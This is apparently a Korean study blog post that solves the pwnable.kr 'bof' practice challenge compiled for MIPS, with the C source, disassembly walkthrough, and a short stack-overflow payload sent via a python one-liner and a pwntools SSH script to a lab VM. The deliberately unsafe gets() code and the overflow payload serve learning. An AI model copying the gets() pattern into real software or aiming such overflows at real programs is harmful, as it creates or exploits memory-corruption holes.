원래 이번 포스팅 계획은 if분기문만 다뤄보려구했지만 욕심이 조금 생겨서 내친김에 BOF까지 도전해봤습니다.
pwnable.kr의 Toddler`s bottle bof문제 소스 그대로 사용했습니다. 다만 mips에서 컴파일하고 분석했을뿐!
분석하면서 크게 어려움을 겪어던 점은 없었으니, 보시는 분들도 수월하리라 생각합니다.
한가지 다른점이 있다면 x86에서는 리틀엔디안이였지만, mips에서는 빅엔디안이라는 사실이구요,
자세한 곳은 이곳을 참조하시기 바랍니다.
[참조] http://javawoo.tistory.com/27
1. C 소스
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | #include <stdio.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); if(key == 0xcafebabe){ printf("Overflow Success!\n"); } else{ printf("Nah.. Overflow Fail :(\n"); } } int main(int argc, char *argv[]){ func(0xdeadbeef); return 0; } |
우선, 이 포스팅은 mips에 대한 내용을 기록하기 위함이며 해당 문제에 대한 풀이는 전에 포스팅한 적이 있으므로
BOF에 대해서는 자세히 풀이하지 않겠습니다. BOF에 대한 것을 알고 싶으시다면 아래 링크를 참조해주세요.
http://bachs.tistory.com/entry/PEDA-pwnablekr-bof%EB%AC%B8%EC%A0%9C
음,, 우선 소스는 별 것이 없습니다.
main함수에서 func라는 함수에 0xdeadbeef 값을 input으로 넣어주는데, 이 값을 func내에서
0xcafebabe라는 값과 비교한 후, BOF가 성공했는 지 실패했는 지 보여주는 코드입니다.
func함수 내부에 존재하는 oveflowme[32] 변수를 이용하여 BOF하면 될 것 같아요.
2. Disassemble Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | Dump of assembler code for function main: 0x0040072c <+0>: addiu sp,sp,-32 0x00400730 <+4>: sw ra,28(sp) 0x00400734 <+8>: sw s8,24(sp) 0x00400738 <+12>: move s8,sp 0x0040073c <+16>: sw a0,32(s8) 0x00400740 <+20>: sw a1,36(s8) 0x00400744 <+24>: lui v0,0xdead 0x00400748 <+28>: ori a0,v0,0xbeef 0x0040074c <+32>: jal 0x4006a0 <func> 0x00400750 <+36>: move at,at 0x00400754 <+40>: move v0,zero 0x00400758 <+44>: move sp,s8 0x0040075c <+48>: lw ra,28(sp) 0x00400760 <+52>: lw s8,24(sp) 0x00400764 <+56>: addiu sp,sp,32 0x00400768 <+60>: jr ra 0x0040076c <+64>: move at,at End of assembler dump. |
한번에 보려면 빡세니까 크게크게 main을 먼저 살펴보고, 실제 오버플로우를 발생시킬 func함수를 살펴봅시다.
2-1. main함수
위의 다섯 번째 줄까지는 지난 포스팅에서 살펴봤듯이 함수 프레임을 준비하는 작업을 하고 있습니다.
스택의 크기를 늘려주고, 현재 프레임 포인터를 백업하고 현재 프레임포인터 값을 스택포인터값으로 바꿔주는 작업이지요
a0 부터 a3까지의 레지스터들은 서브루틴 콜의 파라미터로 사용하기 위한 레지스터였습니다.
현재 까지는 a0 ~ a3레지스터에 접근 한 적이 없으니, 현재는 main의 파라미터들인 argc와 argv가 셋팅이 되어 있을 것으로 생각이 됩니다.
짜잔 하고 직접 찍어보니 욥! 예상대로 argc와 argv가 셋팅이 되어있네요,
lui는 지난 포스팅에서 소개했던 대로 타겟 레지스터의 상위 2바이트에 값을 넣는다고 했습니다.
lui v0, 0xdead
=> v0 = 0xdead0000 의 상태가 될꺼에요
ori는 처음보니까 한번 찾아볼까요?
ori(OR Immediate) 타겟 레지스터에 OR연산을 해서 값을 넣어주는 명령어네요,
a0 = v0 | 0x0000beef
=> a0 = 0xdead0000 OR 0x0000beef
=> a0 = 0xdeadbeef
이렇게 해서 a0에 func함수의 인자인 0xdeadbeef의 값이 저장된 것을 알 수 있습니다.
그 이후 func 함수를 호출하고 스택프레임 해제 후 프로그램이 종료되고 있습니다.
2-2. func 함수
이제 실제로 우리가 살펴봐야할 overflow를 내야하는 func함수를 본격적으로 살펴보도록 하겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | Dump of assembler code for function func: 0x004006a0 <+0>: addiu sp,sp,-64 0x004006a4 <+4>: sw ra,60(sp) 0x004006a8 <+8>: sw s8,56(sp) 0x004006ac <+12>: move s8,sp 0x004006b0 <+16>: sw a0,64(s8) 0x004006b4 <+20>: lui v0,0x40 0x004006b8 <+24>: addiu v0,v0,2304 0x004006bc <+28>: move a0,v0 0x004006c0 <+32>: jal 0x400540 <printf@plt> 0x004006c4 <+36>: move at,at 0x004006c8 <+40>: addiu v0,s8,24 0x004006cc <+44>: move a0,v0 0x004006d0 <+48>: jal 0x400550 <gets@plt> 0x004006d4 <+52>: move at,at 0x004006d8 <+56>: lw v1,64(s8) 0x004006dc <+60>: lui v0,0xcafe 0x004006e0 <+64>: ori v0,v0,0xbabe 0x004006e4 <+68>: bne v1,v0,0x400704 <func+100> 0x004006e8 <+72>: move at,at 0x004006ec <+76>: lui v0,0x40 0x004006f0 <+80>: addiu a0,v0,2320 0x004006f4 <+84>: jal 0x400560 <puts@plt> 0x004006f8 <+88>: move at,at 0x004006fc <+92>: j 0x400714 <func+116> 0x00400700 <+96>: move at,at 0x00400704 <+100>: lui v0,0x40 0x00400708 <+104>: addiu a0,v0,2340 0x0040070c <+108>: jal 0x400560 <puts@plt> 0x00400710 <+112>: move at,at 0x00400714 <+116>: move sp,s8 0x00400718 <+120>: lw ra,60(sp) 0x0040071c <+124>: lw s8,56(sp) 0x00400720 <+128>: addiu sp,sp,64 0x00400724 <+132>: jr ra 0x00400728 <+136>: move at,at End of assembler dump. |
저는 input 값을 AAAAA로 넣어주고 실행을 하였고, 결과적으로 제대로 분석했음을 알 수 있습니다.
gets함수 실행 후 16라인부터 다시 봅시다요
lw v1, 64(s8)
=> v1 = s8+64
=> v1에 s8+64값을 저장한 후
main에서 0xdeadbeef를 저장했던 똑같은 패턴으로 v0에 0xcafebabe를 저장했습니다.
그리고
19번째 라인에서
bne v1, v0, 0x400704
bne(branch on not equal) : 값을 비교해서 두 값이 같지 않으면 해당 주소로 점프를 뛰라는 명령어 입니다.
오호, 그럼 C소스에서 if( key == 0xcafebabe ) 이 분기를 뜻하는 것이겠네요.
그렇다면 분석한 정황상 s8+64에 함수의 input인 0xdeadbeef가 있다는 뜻??
정답! 그럼 이제 풀어낼 수 있을 것같아요.
overflowme와 함수 input과의 거리는 40만큼 나고 있기 때문에 40개의 dummy + 0xcafebabe를 넣어주면 뙇 하고 풀리겠네요.
3. exploit
사실 (python -c 'print "\x90"*40+"\xca\xfe\xba\xbe"') | ./bof 라고만 해도 풀리지만, pwntools모듈을 리마인드 하기위해서
pwntools로 풀어봤습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 | from pwn import * s = ssh(host='192.168.234.138', user='root', password='root', port=22) p = s.run('./prac/bof/bof') data = p.recvuntil('overflow me : ') print data payload = '\x90'*40 + '\xca\xfe\xba\xbe' p.sendline(payload) data = p.recvline() print data |
어려운 코드는 없으시지요?
ssh 커넥션을 맺은 후 bof파일을 실행해 프로세스를 생성해서
overflowme : 라는 응답을 받으면
우리가 분석해서 만들어 낸 페이로드를 날려주면 끝입니다.
맨 처음 앞서 말씀 드렸다 시피 mips는 빅엔디안이기 때문에, \xbe\xba\xfe\xca의 형태가 아니라
\xca\xfe\xba\xbe로 우리가 보는 대로 값을 넣어주었습니다.
실행 결과는 위 사진처럼 아주 깔끔하게 해결되었습니다!
다음 포스팅은 반복문과 관련해서 하도록 하고.. 추후에 실제 프로그램들을 뜯어볼 지, 어떻게 할지는 정해봐야겠습니다.
'Study > IoT' 카테고리의 다른 글
MIPS 리버싱 기초-1(hello world) (2) | 2017.09.13 |
---|---|
firmware 분석 환경 구축하기 (11) | 2017.09.06 |